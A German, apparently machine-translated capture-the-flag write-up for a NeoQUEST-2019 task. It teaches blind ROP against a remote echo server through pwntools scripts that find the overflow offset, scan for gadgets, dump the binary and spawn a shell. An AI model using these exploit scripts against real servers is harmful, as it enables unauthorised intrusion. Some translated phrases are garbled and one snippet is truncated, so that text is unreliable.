Wie finde ich eine Sicherheitslücke auf einem Server ohne Informationen darüber? Wie unterscheidet sich BROP von ROP? Ist es möglich, eine ausführbare Datei über einen Pufferüberlauf von einem Server herunterzuladen? Willkommen bei der Katze, wir werden die Antworten auf diese Fragen am Beispiel des Bestehens der
NeoQUEST-2019- Aufgabe analysieren!
Die Adresse und der Port des Servers sind
angegeben :
213.170.100.211 10000 . Versuchen wir, eine Verbindung herzustellen:
Auf den ersten Blick - nichts Besonderes, ein normaler Echoserver: Gibt dasselbe zurück, was wir selbst an ihn gesendet haben.
Nachdem Sie mit der Größe der übertragenen Daten gespielt haben, können Sie feststellen, dass der Server bei einer ausreichend langen Leitungslänge nicht aufsteht und die Verbindung beendet:
Hmm, es scheint ein Überlauf zu sein.
Finden Sie die Länge des Puffers. Sie können die Werte einfach durchlaufen und inkrementieren, bis wir eine nicht standardmäßige Ausgabe vom Server erhalten. Und Sie können ein wenig Einfallsreichtum zeigen und den Prozess mithilfe der binären Suche beschleunigen, indem Sie überprüfen, ob der Server nach der nächsten Anforderung abgestürzt ist oder nicht.
Bestimmen der Pufferlängefrom pwn import * import threading import time import sys ADDR = "213.170.100.211" PORT = 10000 def find_offset(): start = 0 end = 200 while True: conn = remote(ADDR, PORT) curlen = (start + end)
Die Länge des Puffers beträgt also 136. Wenn Sie 136 Bytes an den Server senden, löschen wir das Null-Byte am Ende unserer Zeile auf dem Stapel und erhalten die darauf folgenden Daten - der Wert ist 0x400155. Und dies ist anscheinend die Absenderadresse. Auf diese Weise können wir den Ausführungsfluss steuern. Wir haben die ausführbare Datei jedoch nicht selbst und wissen nicht, wo genau sich die ROP-Gadgets befinden, mit denen wir die Shell abrufen können.
Was kann man dagegen tun?
Es gibt eine spezielle Technik, mit der Sie diese Art von Problem lösen können, vorausgesetzt, die Rücksprungadresse wird gesteuert -
Blind Return Oriented Programming . Im Wesentlichen ist BROP ein Blindscan einer ausführbaren Datei nach Gadgets. Wir schreiben die Rücksprungadresse mit einer Adresse aus dem Textsegment neu, legen die Parameter für das gewünschte Gadget auf dem Stapel fest und analysieren das Programmverhalten. Basierend auf der Analyse wird eine Annahme geboren, ob wir es erraten haben oder nicht. Eine wichtige Rolle spielen spezielle Hilfsgeräte -
Stop (die Ausführung führt nicht zum Beenden des Programms) und
Trap (die Ausführung führt zum Ende des Programms). So werden zunächst Hilfs-Gadgets gefunden und mit deren Hilfe bereits die notwendigen durchsucht (in der Regel, um
write aufzurufen und die ausführbare Datei abzurufen).
Zum Beispiel möchten wir ein Gadget finden, das einen einzelnen Wert aus dem Stapel in ein Register legt und
ret . Wir werden die getestete Adresse anstelle der Absenderadresse aufzeichnen, um die Kontrolle darauf zu übertragen. Danach schreiben wir die Adresse des
Trap- Gadgets auf, die wir zuvor gefunden haben, und dahinter befindet sich die Adresse des
Stop- Gadgets. Was sich letztendlich herausstellt: Wenn der Server abgestürzt ist (
Trap hat funktioniert), befindet sich das Gadget an der aktuellen Testadresse, die nicht mit der gesuchten übereinstimmt: Es entfernt nicht die Adresse des
Trap- Gadgets vom Stapel. Wenn
Stop funktioniert hat, ist das aktuelle Gadget möglicherweise genau das, wonach wir suchen: Es hat einen Wert vom Stapel entfernt. So können Sie nach Gadgets suchen, die einem bestimmten Verhalten entsprechen.
In diesem Fall kann die Suche jedoch vereinfacht werden. Wir wissen mit Sicherheit, dass der Server uns als Antwort einen Wert druckt. Sie können versuchen, verschiedene Adressen in der ausführbaren Datei zu scannen und festzustellen, ob wir zu dem Code gelangen, der die Zeile erneut anzeigt.
Gadget-Entdeckung lock = threading.Lock() def safe_get_next(gen): with lock: return next(gen) def find_puts(offiter, buffsize, base=0x400000): offset = 0 while True: conn = remote(ADDR, PORT) try: offset = safe_get_next(offiter) except StopIteration: return payload = b'A' * buffsize payload += p64(base + offset) if offset % 0x10 == 0: print("Checking address {:#x}".format(base + offset), flush=True) conn.send(payload) time.sleep(2) try: r = conn.recv() r = r.strip(b'A' * buffsize)[3:] if len(r) > 0: print("Memleak at {:#x}, {} bytes".format(base + offset, len(r)), flush=True) except: pass finally: conn.close() offset_iter = iter(range(0x200)) for _ in range(16): threading.Thread(target=find_puts, args=(offset_iter, buffer_size, 0x400100)).start() time.sleep(1)
Wie können wir die ausführbare Datei mit diesem Leck erhalten?
Wir wissen, dass der Server als Antwort eine Zeile schreibt. Wenn wir zur Adresse
0x40016f gehen, werden die Parameter der Ausgabefunktion mit einer Art Müll gefüllt. Da es sich nach der Rücksprungadresse um eine ausführbare 64-Bit-Datei handelt, befinden sich die Parameter der Funktionen in Registern.
Aber was wäre, wenn wir ein Gadget finden würden, mit dem wir den Inhalt der Register kontrollieren könnten (sie vom Stapel dort ablegen)? Versuchen wir es mit der gleichen Technik zu finden. Wir können jeden Wert auf den Stapel legen, oder? Wir müssen also ein Pop-Gadget finden, das unseren Wert in das gewünschte Register einfügt, bevor wir die Ausgabefunktion aufrufen.
Legen Sie die Adresse des Anfangs der ELF-Datei (
0x400000 ) als Adresse der Zeichenfolge fest. Wenn wir das richtige Gadget finden, muss der Server als Antwort die Signatur
7F 45 4C 46 drucken.
Die Gadget-Suche wird fortgesetzt def find_pop(offiter, buffsize, puts, base=0x400000): offset = 0 while True: conn = remote(ADDR, PORT) try: offset = safe_get_next(offiter) except StopIteration: return if offset % 0x10 == 0: print("Checking address {:#x}".format(base + offset), flush=True) payload = b'A' * buffsize payload += p64(base + offset) payload += p64(0x400001) payload += p64(puts) conn.send(payload) time.sleep(1) try: r = conn.recv() r = r.strip(b'A' * buffsize)[3:] if b'ELF' in r: print("Binary leak at at {:#x}".format(base + offset), flush=True) except: pass finally: conn.close() offset_iter = iter(range(0x200)) for _ in range(16): threading.Thread(target=find_pop, args=(offset_iter, buffer_size, 0x40016f, 0x400100)).start() time.sleep(1)
Mit den resultierenden Adressen pumpen wir die ausführbare Datei vom Server aus.
Dateiextraktion def dump(buffsize, pop, puts, offset, base=0x400000): conn = remote(ADDR, PORT) payload = b'A' * buffsize payload += p64(pop) payload += p64(base + offset) # what to dump payload += p64(puts) conn.send(payload) time.sleep(0.5) r = conn.recv() r = r.strip(b'A' * buffsize) conn.close() if r[3:]: return r[3:] return None
Mal sehen, in der IDA:
Die Adresse
0x40016f führt uns zu
syscall und
0x40017f führt zu
pop rsi ;
ret .
Nachdem Sie eine ausführbare Datei zur Hand haben, können Sie eine ROP-Kette erstellen. Außerdem war auch die Zeile
/ bin / sh drin !
Wir bilden eine Kette, die das
System mit dem Argument
/ bin / sh aufruft. Informationen zu Systemaufrufen unter 64-Bit-Linux finden Sie beispielsweise
hier .
Letzter kleiner Schritt def get_shell(buffsize, base=0x400000): conn = remote(ADDR, PORT) payload = b'A' * buffsize payload += p64(base + 0x17d) payload += p64(59) payload += p64(0) payload += p64(0) payload += p64(base + 0x1ce) payload += p64(base + 0x1d0) payload += p64(base + 0x17b) conn.send(payload) conn.interactive()
Führen Sie den Exploit aus und holen Sie sich die Shell:
Sieg!
NQ201934D811DCBD6AA2926218976CB3340DE95902DD0F33E60E4FF32BAD209BBA4433Sehr bald werden Vraytaps für die anderen Aufgaben der Online-Phase von NeoQUEST-2019 erscheinen. Und die "Konfrontation" findet am 26. Juni statt! Neuigkeiten erscheinen auf
der Event-
Website , nicht verpassen!